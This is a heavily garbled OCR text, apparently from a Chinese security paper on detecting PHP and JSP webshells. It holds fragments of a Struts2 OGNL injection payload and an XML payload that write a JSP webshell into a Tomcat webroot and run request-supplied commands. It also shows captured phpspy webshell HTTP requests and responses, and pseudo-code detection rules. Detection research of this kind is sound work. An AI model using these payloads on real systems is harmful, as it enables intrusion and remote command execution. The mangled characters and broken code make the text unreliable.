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. (#context. setMemberAccess(#dm)))).

ActionContext.container’)).

I[k#cmd="echo '<% ,
||(#emd="echo'< til.getExcludedPackageNames().clear()).

If(\"023\" equals(request.getParameter(\"pwd\")){

java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"i\")).getinputStream(); er(\"i\"}})%>" > /ust/local/tomcat/webapps/ROOT/1,jsp")

inta=-1;

byte[] b = new byte[2048];

out_print(\"<pre=\");

while((a=in.read(b))I=-1}
out.printin(new String(b));

win?{'cmd.exe’,'/c' #cmd}:{'/bin/bash’,’-c’ #cmd})).
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out_print(\"</pre=\");
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<void method="println"><string>
%Runtime.getRuntime().exec(request.getParameter(”i"));%></string></void><void
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</object>
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Deprecated: Assigning th
D:\phpStudy\WA¥\webshel
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D:\phpStudy\WA¥\webshel

Deprecated: Assigning th
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SIS | REPhpSpyB R | PHPIMEZE | 7EEHIE | EMiFRERME | PHPINFO() | WebShell | SOL Query | MySQL Backup

RFIEE: D:fphpStudyWwWw fwebshell/phpspy

L BR(AIE,0777): D:fphpStudyWwWw fwebshellphpspy

B R B TR <
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X kA BREHEX X4h B - 33
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[234124] 2014-03-24 19:52:37  2014-03-24 19:52:37 <dir> 0777 e
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I” 2008.php 2014-02-13 17:17:32  2008-01-07 20:20:33 67.355KB 0666 Tk | &35 | HER | g | mhE
I~ 2011.php 2014-02-13 17:17:32  2011-05-08 21:48:57 75.470KB 0666 ik | &35 | HER | 2B | mHE
[T 2013 crypt.php 2014-02-1317:17:32  2013-11-11 09:40:18 22,780KB 0666 T# | & | #iEg | & | BHE E
‘g v HI00% v~ g
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rule_8912906

Tocal parama_md
Tocal parampl_r
Tocal paramp2_r
for key, value

if(key eq

parama.
%f(key eq '
¢ paramp]
if(key eq
1

par

if(key eq '

EHrHFHE BHHHFERE
CLELEEES WEBSHELL ICEREEEE WEBSHELL
PTEA ] phpspy_v2006_request PCE A phpspy_v2011_request
EHEmREh1E BHEER HEEEEhTE BRER
ELEAIPHEE = EEEAEIPHEE B8R
HEES HEEE
PCEMEFTE Param_list:action=newtime PLEFTE Param_list: action=secinfo
Param_list:action=newtime Param_list:action=secinfo
Param_list:dir=. Param_list:nowpath=
Param_list:file=./1.5.php Param_:ist:p1=
P Param_list:p2=
‘Rﬂﬁfé"% P - .adfil Param_list:p3=
HTTPIE R EIREE S [EsERHTIPES| [THHTTPES | 2 Param_list:p4=
) X . Param_list:pS=
GET /webshell/phpspy/2006. php?action=newtime&dir=. feIBEe

&file=. /1.5 php HTTP/1.1
“Rccept: imaze’zif, imagefjpesz,
fpipez. application/x—ms—application,
x—ms—xbap, application/vnd. ms—xpsdocument,
tion/xaml xml, applicati
on/vnd. ms—powerpoint, application/msword, */%
Referer: http://[5231:1::110:110:1:1]:808/webshel
1/phpspy/2006. php
Accept—Language: zh—ecn
User—Agent: Mozilla/4. 0 (compatible: MSIE S.0: Wi
ndows HT S.2: Trident#4.0: .HET CLR 1.1.4322; .NHET
CLR 2.0.5S0727: .HET CLR 3.0.4506.2152;: InfoFath 2
.HET CLR 3.5.30729: .HNET4.0C: .NET4.0E)
Accept—Encoding: gzip, deflate

image/pipes, image

application/
applica
application/vnd. ms—excel,

Host: [S5231:1::110:110:1:1]:308
Connection: Keep—Alive
Cookie: adminpassTangel: COLLFPIC=ewp3
par
) e S iaali
1f(par ama_| e WEBSHELL
{ PTERER phpspy_v2013_response
return FEEIZh{E BRER
ELEAEIPHEE ~BHA
} ESE=3 =
PCEMFTIE Response_body:input id="p1" type="hidden" name="p1" value '

return MISMATC

rule_.
if (response_boq
y i iy
return MATC

¥
return MISMATCH

<

<input id="p2" type="hidden" name="p2" value="" /> <input id

=
="p3" value= f= <input id="p4" type="hidde|

HTTPIERSEEIREES

|=EEmnTTRiEE| [ TEHTTRIEE]

POST /webshell/phpspy/2011. php HTTF/1.1
image/jpeg, image/pipesz,
/pipes, application/x—ms—application, application/
x—ms—xbap, application/vnd. ms—xpsdocument, applica
tion/xaml xml, application/vnd ms—excel, applicati
on/vnd. ms—powerpoint, application/msword, */%
Referer: http://[5231:1::110:110:1:1]:808/webshel
1/phpspy#2011. php

Accept—Language: zh—en

User—Agent: Mozilla/4.0 (compatible: MSIE 3.0: Wi
ndows NHT 5.2: Trident/4.0: .NET CLR 1.1.4322: .HET
CLR 2.0.50727: .HET CLR 3.0.4506.2152; InfoFath. 2

Accept: imagefzif, image

.HET CLR 3.5.30729: .NET4.0C: .NET4.0E)
Content—Type: application/x—www—form—urlencoded
Accept—Encoding: gzip, deflate

Host: [5231:1::110:110:1:1]1:308

Content—Length: 43

Connection: Keep—Alive

Cache—Control: no—cache

Cockie: loginpass=ec38feZaS49T7e0a3d6d4349b3533038c
b

action=secinfo®nowpath=8pl=&p2=8p3=8pd=&pS=

[ =@\ |

"p4" value= /= <input id="charset" type="hidden"

“"charset" value="gbk" /= </form> <table width="100%"
border="0" cellpadding="0" cellspacing="0"> <tr class="head">
<td=<span style="float:right;"=Windows NT NSFOCUS-\WASTEST 5.2
build 2790 (Windows Server 2003 Enterprise Edition) iS86 f User:0 (
Aadministrator ) f Group: 0 ? J</span>=[5S231:1::110:110:1:1]:202
([5231:1::110:110:1:1])</td> </tr> <tr class altl"> <td> <span
style="float:right;">=Charset: <select class="input" id="charset"
name="charset"” onchange="g(null,null,null,null,null,null,this.value);"=
<option value="bigS"=bigS</option>= <option value="cp-
S66">cp866</option> <option value="euc-jp">ujis<foption>= <optior
value="euc-kr'"=euckr</foption= <option value="gbk"
selected>=gbk</option= <option value="iso-8859-1">latinl</option>=
<option value="koig-r">=koiSr</option> <option value="kois-
u'=koiSu<foption> <option value="utf-8">utf8</option> <option
"windows-1252"=latinl</option> </select> </span> <a
avascript:g{’'logout’);"=Logout</a= | <a
avascript:g(‘file’,null,”,”,"”,",'"gbk");"=File Manager</a> | <a

href="javascript:g('mysqgladmin’,null,”,"”,",",'gbk"'); "=MYSQL =
4L SCTIE I_IJ
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